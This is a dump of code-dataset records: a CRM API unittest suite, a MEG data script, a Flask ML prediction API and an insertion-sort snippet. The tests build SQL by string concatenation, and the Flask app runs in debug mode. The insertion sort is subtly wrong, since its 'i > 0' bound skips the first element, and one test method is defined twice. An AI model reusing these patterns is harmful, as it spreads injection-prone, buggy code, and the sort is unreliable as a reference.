self.broker_info.append(i[12])  # belongAreaName\r\n            self.broker_info.append(\r\n                int(time.mktime(time.strptime(str(i[13]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # createTime\r\n            if i[3] == None:\r\n                self.base.remove(\"companyName\")\r\n                self.base.remove(\"companyStatus\")\r\n                self.base.remove(\"companyStatusEnum\")\r\n                self.base.remove(\"companyStatusDesc\")\r\n            else:\r\n                self.company_info = remote_database('fykc_xbroker_service', 'select companyName,status from ' +\r\n                                                    'company_info where id = ' + str(i[3]))[0]\r\n                self.broker_info.append(self.company_info[0])  # companyName\r\n                self.broker_info.append(self.company_info[1])  # status\r\n                if self.company_info[1] == 1:\r\n                    self.broker_info.append(\"CHECKING\")  # companyStatusEnum\r\n                    self.broker_info.append(\"审核中\")  # companyStatusDesc\r\n                elif self.company_info[1] == 2:\r\n                    self.broker_info.append(\"PASS\")  # companyStatusEnum\r\n                    self.broker_info.append(\"审核通过\")  # companyStatusDesc\r\n                elif self.company_info[1] == 3:\r\n                    self.broker_info.append(\"UNPASS\")  # companyStatusEnum\r\n                    self.broker_info.append(\"审核未通过\")  # companyStatusDesc\r\n                else:\r\n                    pass\r\n            if i[3] != None and self.company_info[1] == 2:\r\n                self.broker_info.append(1)  # transportType\r\n            else:\r\n                self.broker_info.append(2)\r\n            self.penalty_info = remote_database('caiwu', 'select receivables from receiptlist where type = 3 and ' +\r\n                                                         'brokerMobile = ' + str(i[1]))\r\n            if len(self.penalty_info) != 0:\r\n                self.penalty = 0\r\n                for j in self.penalty_info:\r\n                    self.penalty += j[0]\r\n                self.broker_info.append(self.penalty)  # penalty违约金,caiwu\r\n            else:\r\n                self.base.remove(\"penalty\")\r\n            self.broker_info.append(0)  # cardType\r\n            self.data.append(dict(zip(self.base, self.broker_info)))\r\n        print(self.data)\r\n        self.r = agent_crm_select_list(1, 10, '', '', '', '', '', '', '', '', '', '', '', '', self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_get_Company_Detail(self):\r\n        \"\"\"查询公司详情\"\"\"\r\n        self.company_info = remote_database('fykc_xbroker_service', 'select id,companyCode,companyName,creditCode,' +\r\n                                            'address,status,foundingTime,businessTermEndTime,legalPerson,identity,' +\r\n                                            'licenceImageUrl,identityImageUrl,roadTransportImageUrl,createTime,' +\r\n                                            'updateTime from company_info order by id ASC limit 1')[0]\r\n        self.data = []\r\n        self.base = ['id', 'companyCode', 'companyName', 'creditCode', 'address', 'status', 'statusEnum', 'statusDesc',\r\n                     'foundingTime', 'businessTermEndTime', 'legalPerson', 'identity', 'licenceImageUrl',\r\n                     'identityImageUrl', 'roadTransportImageUrl', 'createTime', 'updateTime', 'accountName', 'bankName',\r\n                     'bankDeposit', 'bankNumber', 'foundingTimeFmt', 'businessTermEndTimeFmt', ]\r\n        self.company = []\r\n        self.company.append(self.company_info[0])  # id\r\n        self.company.append(self.company_info[1])  # companyCode\r\n        self.company.append(self.company_info[2])  # companyName\r\n        self.company.append(self.company_info[3])  # creditCode\r\n        self.company.append(self.company_info[4])  # address\r\n        self.company.append(self.company_info[5])  # status\r\n        if self.company_info[5] == 1:\r\n            self.company.append(\"CHECKING\")  # companyStatusEnu\r\n            self.company.append(\"审核中\")  # companyStatusDesc\r\n        elif self.company_info[5] == 2:\r\n            self.company.append(\"PASS\")\r\n            self.company.append(\"审核通过\")\r\n        elif self.company_info[5] == 3:\r\n            self.company.append(\"UNPASS\")\r\n            self.company.append(\"审核未通过\")\r\n        else:\r\n            pass\r\n        self.company.append(\r\n            int(time.mktime(time.strptime(str(self.company_info[6]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # foundingTime\r\n        self.company.append(int(\r\n            time.mktime(time.strptime(str(self.company_info[7]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # businessTermEndTime\r\n        self.company.append(self.company_info[8])  # legalPerson\r\n        self.company.append(self.company_info[9])  # identity\r\n        self.company.append(self.company_info[10])  # licenceImageUrl\r\n        self.company.append(self.company_info[11])  # identityImageUrl\r\n        self.company.append(self.company_info[12])  # roadTransportImageUrl\r\n        self.company.append(\r\n            int(time.mktime(time.strptime(str(self.company_info[13]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # createTime\r\n        self.company.append(\r\n            int(time.mktime(time.strptime(str(self.company_info[14]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # updateTime\r\n        self.bank_info = remote_database('fykc_xbroker_service', 'select bankName,bankDeposit,bankNumber from ' +\r\n                                         'broker_bank_info where accountName = \\\"'+str(self.company_info[2])+'\\\"')[0]\r\n        self.company.append(self.company_info[2])  # accountName\r\n        self.company.append(self.bank_info[0])  # bankName\r\n        self.company.append(self.bank_info[1])  # bankDeposit\r\n        self.company.append(self.bank_info[2])  # bankNumber\r\n        self.foundingTimeFmt = time.mktime(\r\n            time.strptime(str(self.company_info[6]), \"%Y-%m-%d %H:%M:%S\"))  # validDateStartFmt\r\n        self.company.append(time.strftime(\"%Y-%m-%d\", time.localtime(self.foundingTimeFmt)))\r\n        self.businessTermEndTimeFmt = time.mktime(\r\n            time.strptime(str(self.company_info[7]), \"%Y-%m-%d %H:%M:%S\"))  # validDateEndFmt\r\n        self.company.append(time.strftime(\"%Y-%m-%d\", time.localtime(self.businessTermEndTimeFmt)))\r\n        self.data.append(dict(zip(self.base, self.company)))\r\n        self.r = agent_crm_company_detail(2, self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_get_select_Log_List(self):\r\n        \"\"\"查询日志列表\"\"\"\r\n        self.broker_id = remote_database('fykc_xbroker_service', 'select id from broker_info where brokerMobile = ' +\r\n                                         str(get_config('default', 'admin_mobile')))[0][0]\r\n        self.operate_log_info = remote_database('fykc_xbroker_service', 'select id,businessId,businessType,content,' +\r\n                                                'detail,operType,operId,operName,createTime from operate_log_info where'\r\n                                                + ' (businessType = 2 or 3) and businessId = ' + str(self.broker_id) +\r\n                                                ' order by id DESC limit 10')\r\n        self.data = []\r\n        for i in self.operate_log_info:\r\n            self.base = ['id', 'businessId', 'businessType', 'businessTypeDesc', 'businessTypeEnum', 'content', 'detail',\r\n                         'operType', 'operTypeDesc', 'operTypeEnum', 'operId', 'operName', 'createTime']\r\n            self.log = []\r\n            self.log.append(i[0])  # id\r\n            self.log.append(i[1])  # businessId\r\n            self.log.append(i[2])  # businessType\r\n            if i[2] == 1:\r\n                self.log.append(\"企业\")\r\n                self.log.append(\"COMPANY\")\r\n            elif i[2] == 2:\r\n                self.log.append(\"经纪人\")\r\n                self.log.append(\"BROKER\")\r\n            else:\r\n                self.log.append(\"经纪人黑名单\")\r\n                self.log.append(\"BROKER_BLACKLIST\")\r\n            self.log.append(i[3])  # content\r\n            self.log.append(i[4])  # detail\r\n            self.log.append(i[5])  # operType\r\n            if i[5] == 1:\r\n                self.log.append(\"管理员\")\r\n                self.log.append(\"ADMIN\")\r\n            elif i[5] == 2:\r\n                self.log.append(\"经纪人\")\r\n                self.log.append(\"BROKER\")\r\n            else:\r\n                pass\r\n            self.log.append(i[6])  # operId\r\n            self.log.append(i[7])  # operName\r\n            self.log.append(int(time.mktime(time.strptime(str(i[8]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # createTime\r\n            self.data.append(dict(zip(self.base, self.log)))\r\n        print(self.data)\r\n        self.r = agent_crm_select_log_list(self.broker_id, 2, 1, 10, self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_get_Broker_Detail(self):\r\n        \"\"\"查询经纪人详情\"\"\"\r\n        self.broker = remote_database('fykc_xbroker_service', 'select id,brokerMobile,brokerCode,status,companyId,'\r\n                                      + 'brokerName,identity,validDateStart,validDateEnd,identityFrontUrl,' +\r\n                                      'identityInverseUrl,workProvinceId,workCityId,workDistrictId,workProvinceName,'\r\n                                      + 'workCityName,workDistrictName,belongAreaId,belongAreaName,adminId,adminName'\r\n                                      + ',adminMobile,invoiceGualification,identityCertification,smsReceivingStatus,'\r\n                                      + 'faceCertification,createTime,updateTime,address,issuedBy from broker_info '\r\n                                      + 'where brokerMobile = ' + str(get_config('default', 'admin_mobile')))[0]\r\n        self.company_info = remote_database('fykc_xbroker_service', 'select companyCode,companyName,status from ' +\r\n                                            'company_info where id = ' + str(self.broker[4]))[0]\r\n        self.data = []\r\n        self.base = ['id', 'brokerMobile', 'brokerCode', 'status', 'statusDesc', 'statusEnum', 'companyId','brokerName',\r\n                     'identity', 'address', 'issuedBy', 'validDateStart', 'validDateEnd', 'identityFrontUrl',\r\n                     'identityInverseUrl', 'workProvinceId', 'workCityId', 'workDistrictId', 'workProvinceName',\r\n                     'workCityName', 'workDistrictName', 'belongAreaId', 'belongAreaName', 'adminId', 'adminName',\r\n                     'adminMobile', 'invoiceGualification', 'identityCertification', 'smsReceivingStatus',\r\n                     'faceCertification', 'createTime', 'updateTime', 'companyCode', 'companyName', 'companyStatus',\r\n                     'companyStatusEnum', 'companyStatusDesc', 'transportType', 'validDateStartFmt', 'validDateEndFmt',\r\n                     'cardType', 'bankInfoList']\r\n        self.broker_info = []\r\n        self.broker_info.append(self.broker[0])  # id\r\n        self.broker_info.append(self.broker[1])  # brokerMobile\r\n        self.broker_info.append(self.broker[2])  # brokerCode\r\n        self.broker_info.append(self.broker[3])  # status\r\n        if self.broker[3] == 1:\r\n            self.broker_info.append(\"NORMAL\")  # statusDesc\r\n            self.broker_info.append(\"NORMAL\")  # statusEnum\r\n        else:\r\n            self.broker_info.append(\"FREEZE\")\r\n            self.broker_info.append(\"FREEZE\")\r\n        if self.broker[4] == None:\r\n            self.base.remove(\"companyId\")\r\n        else:\r\n            self.broker_info.append(self.broker[4])  # companyId\r\n        self.broker_info.append(self.broker[5])  # brokerName\r\n        self.broker_info.append(self.broker[6])  # identity\r\n        if self.broker[29] != None:\r\n            self.broker_info.append(self.broker[28])  # address\r\n            self.broker_info.append(self.broker[29])  # issuedBy\r\n        else:\r\n            self.broker_info.append(\"address\")\r\n            self.broker_info.append(\"issuedBy\")\r\n        self.broker_info.append(\r\n            int(time.mktime(time.strptime(str(self.broker[7]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # validDateStart\r\n        self.broker_info.append(\r\n            int(time.mktime(time.strptime(str(self.broker[8]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # validDateEnd\r\n        self.broker_info.append(self.broker[9])  # identityFrontUrl\r\n        self.broker_info.append(self.broker[10])  # identityInverseUrl\r\n        self.broker_info.append(self.broker[11])  # workProvinceId\r\n        self.broker_info.append(self.broker[12])  # workCityId\r\n        self.broker_info.append(self.broker[13])  # workDistrictId\r\n        self.broker_info.append(self.broker[14])  # workProvinceName\r\n        self.broker_info.append(self.broker[15])  # workCityName\r\n        self.broker_info.append(self.broker[16])  # workDistrictName\r\n        self.broker_info.append(self.broker[17])  # belongAreaId\r\n        self.broker_info.append(self.broker[18])  # belongAreaName\r\n        self.broker_info.append(self.broker[19])  # adminId\r\n        self.broker_info.append(self.broker[20])  # adminName\r\n        self.broker_info.append(self.broker[21])  # adminMobile\r\n        self.broker_info.append(self.broker[22])  # invoiceGualification\r\n        self.broker_info.append(self.broker[23])  # identityCertification\r\n        self.broker_info.append(self.broker[24])  # smsReceivingStatus\r\n        self.broker_info.append(self.broker[25])  # faceCertification\r\n        self.broker_info.append(\r\n            int(time.mktime(time.strptime(str(self.broker[26]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # createTime\r\n        self.broker_info.append(\r\n            int(time.mktime(time.strptime(str(self.broker[27]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # updateTime\r\n        self.broker_info.append(self.company_info[0])  # companyCode\r\n        self.broker_info.append(self.company_info[1])  # companyName\r\n        self.broker_info.append(self.company_info[2])  # companyStatus\r\n        if self.company_info[2] == 1:\r\n            self.broker_info.append(\"CHECKING\")  # companyStatusEnum\r\n            self.broker_info.append(\"审核中\")  # companyStatusDesc\r\n        elif self.company_info[2] == 2:\r\n            self.broker_info.append(\"PASS\")\r\n            self.broker_info.append(\"审核通过\")\r\n        elif self.company_info[2] == 3:\r\n            self.broker_info.append(\"UNPASS\")\r\n            self.broker_info.append(\"审核未通过\")\r\n        else:\r\n            pass\r\n        if self.broker[4] != None and self.company_info[2] == 2:\r\n            self.broker_info.append(1)  # transportType\r\n        else:\r\n            self.broker_info.append(2)\r\n        self.validDateStart = time.mktime(time.strptime(str(self.broker[7]), \"%Y-%m-%d %H:%M:%S\"))  # validDateStartFmt\r\n        self.broker_info.append(time.strftime(\"%Y-%m-%d\", time.localtime(self.validDateStart)))\r\n        self.validDateStart = time.mktime(time.strptime(str(self.broker[8]), \"%Y-%m-%d %H:%M:%S\"))  # validDateEndFmt\r\n        self.broker_info.append(time.strftime(\"%Y-%m-%d\", time.localtime(self.validDateStart)))\r\n        self.broker_info.append(0)  # cardType\r\n        self.broker_info.append([])  # bankInfoList      有问题？？？？？？？？？？？？？？？？\r\n        self.data.append(dict(zip(self.base, self.broker_info)))\r\n        print(self.data)\r\n        self.r = agentcrm_get_Broker_Detail(self.broker[0], self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_getBrokerUnfinishedOrder(self):\r\n        \"\"\"校验拉黑提示信息\"\"\"\r\n        self.broker = remote_database('fykc_xbroker_service', 'select id from broker_info where brokerMobile  = ' +\r\n                                      str(get_config('default', 'admin_mobile')))[0][0]\r\n        self.r = agent_crm_get_broker_unfinished_order(self.broker, self.cookies_ua)\r\n        print(self.r)\r\n        if self.r['status']['code'] == 0:\r\n            self.assertEqual(self.r['status']['desc'], '操作成功')\r\n            self.assertEqual(self.r['status']['code'], 0)\r\n        else:\r\n            self.assertEqual(self.r['status']['desc'], '当前用户尚有未完成运单和未提款运单，是否继续拉黑？')\r\n            self.assertEqual(self.r['status']['code'], 1)\r\n\r\n    def test_get_LastBlacklistLog(self):\r\n        \"\"\"拉黑原因\"\"\"\r\n        self.businessid = remote_database('fykc_xbroker_service', 'select id from broker_info where status = 2 ' +\r\n                                                                  'order by id DESC limit 1')[0][0]\r\n        self.blacklist_log = remote_database('fykc_xbroker_service', 'select id,content,detail,operType,operId,' +\r\n                                             'operName,createTime from operate_log_info where businessType = 3 and ' +\r\n                                             'businessId = ' + str(self.businessid))\r\n        self.data = []\r\n        for i in self.blacklist_log:\r\n            self.base = ['id', 'businessId', 'businessType', 'businessTypeDesc', 'businessTypeEnum', 'content',\r\n                         'detail', 'operType', 'operTypeDesc', 'operTypeEnum', 'operId', 'operName', 'createTime']\r\n            self.log = []\r\n            self.log.append(i[0])  # id\r\n            self.log.append(self.businessid)  # businessId\r\n            self.log.append(3)  # businessType\r\n            self.log.append(\"经纪人黑名单\")  # businessTypeDesc\r\n            self.log.append(\"BROKER_BLACKLIST\")  # businessTypeEnum\r\n            self.log.append(i[1])  # content\r\n            self.log.append(i[2])  # detail\r\n            self.log.append(i[3])  # operType\r\n            if i[3] == 1:\r\n                self.log.append(\"管理员\")\r\n                self.log.append(\"ADMIN\")\r\n            elif i[3] == 2:\r\n                self.log.append(\"经纪人\")\r\n                self.log.append(\"BROKER\")\r\n            else:\r\n                pass\r\n            self.log.append(i[4])  # operId\r\n            self.log.append(i[5])  # operName\r\n            self.log.append(\r\n                    int(time.mktime(time.strptime(str(i[6]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # createTime\r\n        self.data.append(dict(zip(self.base, self.log)))\r\n        self.r = agent_crm_get_last_blacklist_log(self.businessid, self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_update_Broker_Status(self):\r\n        \"\"\"更新经纪人状态(移入、移除黑名单)\"\"\"\r\n        self.broker_id = remote_database('fykc_xbroker_service', 'select id from broker_info where brokerMobile = ' +\r\n                                         str(get_config('default', 'admin_mobile')))[0][0]\r\n        # 加入黑名单\r\n        self.r = agent_crm_update_broker_status(self.broker_id, 2, \"自动化接口测试：加入黑名单原因\", self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        # 移除黑名单\r\n        self.r1 = agent_crm_update_broker_status(self.broker_id, 1, \"自动化接口测试：移除黑名单原因\", self.cookies_ua)\r\n        print(self.r1)\r\n        self.assertEqual(self.r1['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r1['status']['code'], 0)\r\n\r\n    def test_update_Broker_Info(self):\r\n        \"\"\"修改经纪人信息\"\"\"\r\n        self.broker = remote_database('fykc_xbroker_service', 'select id,brokerName,identity,brokerMobile,' +\r\n                                      'workProvinceId,workCityId,workDistrictId,workProvinceName,workCityName,' +\r\n                                      'workDistrictName,issuedBy,validDateStart,validDateEnd,identityFrontUrl,' +\r\n                                      'identityInverseUrl,companyId from broker_info where brokerMobile  = ' +\r\n                                      str(get_config('default', 'admin_mobile')))[0]\r\n        self.validDateStart = time.strftime(\"%Y-%m-%d\", time.localtime(\r\n            time.mktime(time.strptime(str(self.broker[11]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.validDateEnd = time.strftime(\"%Y-%m-%d\", time.localtime(\r\n            time.mktime(time.strptime(str(self.broker[12]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.r = agent_crm_update_broker_info(self.broker[0], self.broker[1], \"220521199209186813\", self.broker[3],\r\n                                              self.broker[4], self.broker[5], self.broker[6], self.broker[7],\r\n                                              self.broker[8], self.broker[9], \"北京市公安局\", self.validDateStart,\r\n                                              self.validDateEnd, self.broker[13], self.broker[14], [], self.cookies_ua)\r\n        print(self.r)\r\n        if self.r['status']['code'] == 0:\r\n            self.assertEqual(self.r['status']['desc'], '操作成功')\r\n            self.assertEqual(self.r['status']['code'], 0)\r\n        elif self.r['status']['code']  == 1:\r\n            self.assertEqual(self.r['status']['desc'], '姓名和身份证号不匹配')\r\n            self.assertEqual(self.r['status']['code'], 1)\r\n        elif self.r['status']['code']  == 4:\r\n            self.assertEqual(self.r['status']['desc'], '身份证反面照不能为空')\r\n            self.assertEqual(self.r['status']['code'], 4)\r\n        else:\r\n            self.assertTrue(False,\"其他转态未验证\")\r\n\r\n    def test_update_Company_Info(self):\r\n        \"\"\"修改公司信息\"\"\"\r\n        self.company_info = remote_database('fykc_xbroker_service', 'select id,companyName,creditCode,address,' +\r\n                                            'legalPerson,identity,businessTermEndTime,licenceImageUrl,' +\r\n                                            'identityImageUrl,roadTransportImageUrl,foundingTime from '\r\n                                            'company_info order by id DESC limit 1')[0]\r\n        self.bank_info = remote_database('fykc_xbroker_service', 'select bankDeposit,bankNumber from broker_bank_info' +\r\n                                         ' where accountName = \\\"'+str(self.company_info[1])+'\\\"')[0]\r\n        self.businessTermEndTime = time.strftime(\"%Y-%m-%d\", time.localtime(\r\n            time.mktime(time.strptime(str(self.company_info[6]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.foundingTime = time.strftime(\"%Y-%m-%d\", time.localtime(\r\n            time.mktime(time.strptime(str(self.company_info[10]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.r = agent_crm_update_company_info(self.company_info[0], self.company_info[1], self.company_info[2],\r\n                                             \"接口自动化测试修改详细地址\", self.company_info[4], self.company_info[5],\r\n                                               self.businessTermEndTime, self.company_info[7], self.company_info[8],\r\n                                               self.company_info[9], self.company_info[1], self.bank_info[0],\r\n                                               self.bank_info[1], self.foundingTime, self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n\r\n    def test_get_AreaList(self):\r\n        \"\"\"查询大区列表\"\"\"\r\n        self.areas_info = remote_database('fykc_conf', 'select `value`,`key` from sys_static_config ' +\r\n                                                       'where type = \"fykc_area\" order by `key` ASC')\r\n        self.data = []\r\n        for i in self.areas_info:\r\n            self.areabase = ['value', 'key']\r\n            self.area_info = []\r\n            self.area_info.append(i[0])\r\n            self.area_info.append(i[1])\r\n            self.data.append(dict(zip(self.areabase, self.area_info)))\r\n        self.r = agent_crm_get_area_list(self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_get_AreaList(self):\r\n        \"\"\"查询大区列表\"\"\"\r\n        self.user_info = remote_database('fykc_tower_babel', 'select id,mobile,token,lastAccessTime,' +\r\n                                         'lastAccessIp,tokenExpire,status from user_base_info where name = \"李东东\"')[0]\r\n        self.data = []\r\n        self.base = ['id', 'name', 'mobile', 'token', 'lastAccessTime', 'lastAccessIp', 'tokenExpire', 'status']\r\n        self.user = []\r\n        self.user.append(self.user_info[0])  # id\r\n        self.user.append(\"李东东\")  # name\r\n        self.user.append(self.user_info[1])  # mobile\r\n        self.user.append(self.user_info[2])  # token\r\n        self.user.append(\r\n            int(time.mktime(time.strptime(str(self.user_info[3]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # lastAccessTime\r\n        self.user.append(self.user_info[4])  # lastAccessIp\r\n        self.user.append(\r\n            int(time.mktime(time.strptime(str(self.user_info[5]), \"%Y-%m-%d %H:%M:%S\")) * 1000))  # tokenExpire\r\n        self.user.append(self.user_info[6])  # status\r\n        self.data.append(dict(zip(self.base, self.user)))\r\n        self.r = agent_crm_select_admin_name_list(\"李东东\", self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'], self.data)\r\n\r\n    def test_ocrIdcardFront(self):\r\n        \"\"\"ocr识别身份证正面照接口\"\"\"\r\n        self.imageUrl = remote_database('fykc_xbroker_service', 'select identityFrontUrl,address,`identity`,brokerName from broker_info' +\r\n                                                                ' order by id DESC limit 1')[0]\r\n        self.r = agent_crm_ocr_id_card_front(self.imageUrl[0], self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'][0]['side'], 0)\r\n        self.assertEqual(self.r['data'][0]['address'], self.imageUrl[1])\r\n        self.assertEqual(self.r['data'][0]['idcard'], self.imageUrl[2])\r\n        self.assertEqual(self.r['data'][0]['name'], self.imageUrl[3])\r\n\r\n    def test_ocrIdcardBack(self):\r\n        \"\"\"ocr识别身份证反面照接口\"\"\"\r\n        self.imageUrl = remote_database('fykc_xbroker_service', 'select identityInverseUrl,issuedBy,validDateEnd,' +\r\n                                        'validDateStart from broker_info order by id DESC limit 1')[0]\r\n        self.validDateEndFmt = time.strftime(\"%Y-%m-%d\", time.localtime(time.mktime(\r\n            time.strptime(str(self.imageUrl[2]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.validDateStartFmt = time.strftime(\"%Y-%m-%d\", time.localtime(time.mktime(\r\n            time.strptime(str(self.imageUrl[3]), \"%Y-%m-%d %H:%M:%S\"))))\r\n        self.r = agent_crm_ocr_id_card_back(self.imageUrl[0], self.cookies_ua)\r\n        print(self.r)\r\n        self.assertEqual(self.r['status']['desc'], '操作成功')\r\n        self.assertEqual(self.r['status']['code'], 0)\r\n        self.assertEqual(self.r['data'][0]['side'], 1)\r\n        self.assertEqual(self.r['data'][0]['issuedBy'], self.imageUrl[1])\r\n        self.assertEqual(self.r['data'][0]['validDateEndFmt'], self.validDateEndFmt)\r\n        self.assertEqual(self.r['data'][0]['validDateStartFmt'], self.validDateStartFmt)\r\n\r\n\r\n    # def test_ocrIdcardBack(self):还没上线\r\n    #     \"\"\"根据开户行名称查询银行信息\"\"\"\r\n    #     self.bankDeposit = remote_database('fykc_xbroker_service', 'select bankDeposit from broker_bank_info where ' +\r\n    #                                        'bankName is not NULL order by id DESC limit 1')[0]\r\n    #     self.r = agentcrm_queryBankNameList(self.bankDeposit[0], self.cookies_ua)\r\n    #     print(self.r)\r\n    #     self.assertEqual(self.r['status']['desc'], '操作成功')\r\n    #     self.assertEqual(self.r['status']['code'], 0)\r\n\r\n\r\nif __name__ == '__main__':\r\n    unittest.main()\r\n","sub_path":"foryou/test_case/test_api_agent_crm/test_broker_crm.py","file_name":"test_broker_crm.py","file_ext":"py","file_size_in_byte":31177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"422165953","text":"'''\nCreated on Jun 9, 2014\n\n@author: noampeled\n'''\n\nimport os\nfrom src.commons.utils import utils\n\nROOT = '/Users/noampeled/Copy/Data/MEG/data'\nSUBJECTS_FOLDER = ['darya/data','dor','eitan', 'idan', 'liron', 'mosheB', 'raniB', 'shira', 'TalR2', 'yoni']\nTRIGGERS_FILE = 'triggers.mat'\n\ndef readTriggers(root,subjectFolders,triggerFile):\n    for subjectFolder in subjectFolders:\n        print(subjectFolder)\n        triggerFullFileName = os.path.join(root,subjectFolder,triggerFile)\n        triggersMatlab = utils.loadMatlab(triggerFullFileName)\n        triggers = triggersMatlab['trialsInfo']\n        print(triggers.shape)\n\nif __name__ == '__main__':\n    readTriggers(ROOT,SUBJECTS_FOLDER,TRIGGERS_FILE)","sub_path":"src/centipede/analyzeLogs.py","file_name":"analyzeLogs.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"595952847","text":"import os\nfrom flask import Flask, jsonify, request\nfrom flask_restful import Api, Resource\nfrom Train import train_model\nfrom sklearn.externals import joblib\n\napp = Flask(__name__)\napi = Api(app)\nif not os.path.isfile('pcod1final.model'):\n    train_model()\n\nmodel = joblib.load('pcod1final.model')\n\nclass MakePrediction(Resource):\n    @staticmethod\n    def post():\n        posted_data = request.get_json()\n        age = posted_data['age']\n        weight = posted_data['weight']\n        height = posted_data['height']\n        sugar_Level = posted_data['sugar_Level']\n        bp_Level = posted_data['bp_Level']\n        androgen_Level = posted_data['androgen_Level']\n        sleep = posted_data['sleep']\n        child_Count = posted_data['child_Count']\n        gap_Mrg_Child = posted_data['gap_Mrg_Child']\n        periods_long_week = posted_data['periods_long_week']\n        irregular_periods = posted_data['irregular_periods']\n        fast_food = posted_data['fast_food']\n        loose_Weight = posted_data['loose_Weight']\n        Hair_Growth = posted_data['Hair_Growth']\n        dark_Patches = posted_data['dark_Patches']\n        stress = posted_data['stress']\n        any_Drugs = posted_data['any_Drugs']\n        thyroid_problem = posted_data['thyroid_problem']\n        treatment_Taken = posted_data['treatment_Taken']\n\n        prediction = model.predict([[age,weight,height,sugar_Level,bp_Level,androgen_Level,sleep,child_Count,gap_Mrg_Child,periods_long_week,irregular_periods,fast_food,loose_Weight,Hair_Growth,dark_Patches,stress,any_Drugs,thyroid_problem,treatment_Taken]])[0]\n        if prediction == 0:\n            predicted_class = 'high_risk'\n        elif prediction == 1:\n            predicted_class = 'low_risk'\n        else:\n            predicted_class = 'mid_risk'\n\n        return jsonify({\n            'Prediction': predicted_class\n        })\n\napi.add_resource(MakePrediction, '/predict')\nif __name__ == '__main__':\n    app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"329475301","text":"\n# coding: utf-8\n\n# Для начала берем второй элемент массива и сравниваем с левым элементом. До тех пор, пока левый элемент a[i] больше правого (key), \n# левый элемент сдвигается вправо a[i], а правый (key) на одну позицию влево. Затем снова проверяем, \n# больше ли левый элемент правого. Время работы: O(n^2)\n\na = [1,5,2,9,4,5]\n\ndef insertion_sort(a):\n    for j in range(1,len(a)):\n        key = a[j]\n        i = j - 1\n        while i > 0 and a[i] > key:\n            a[i+1] = a[i]\n            i = i - 1\n        a[i+1] = key\n    return a\n\nprint(insertion_sort(a))\n\n\n\n","sub_path":"sorting/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
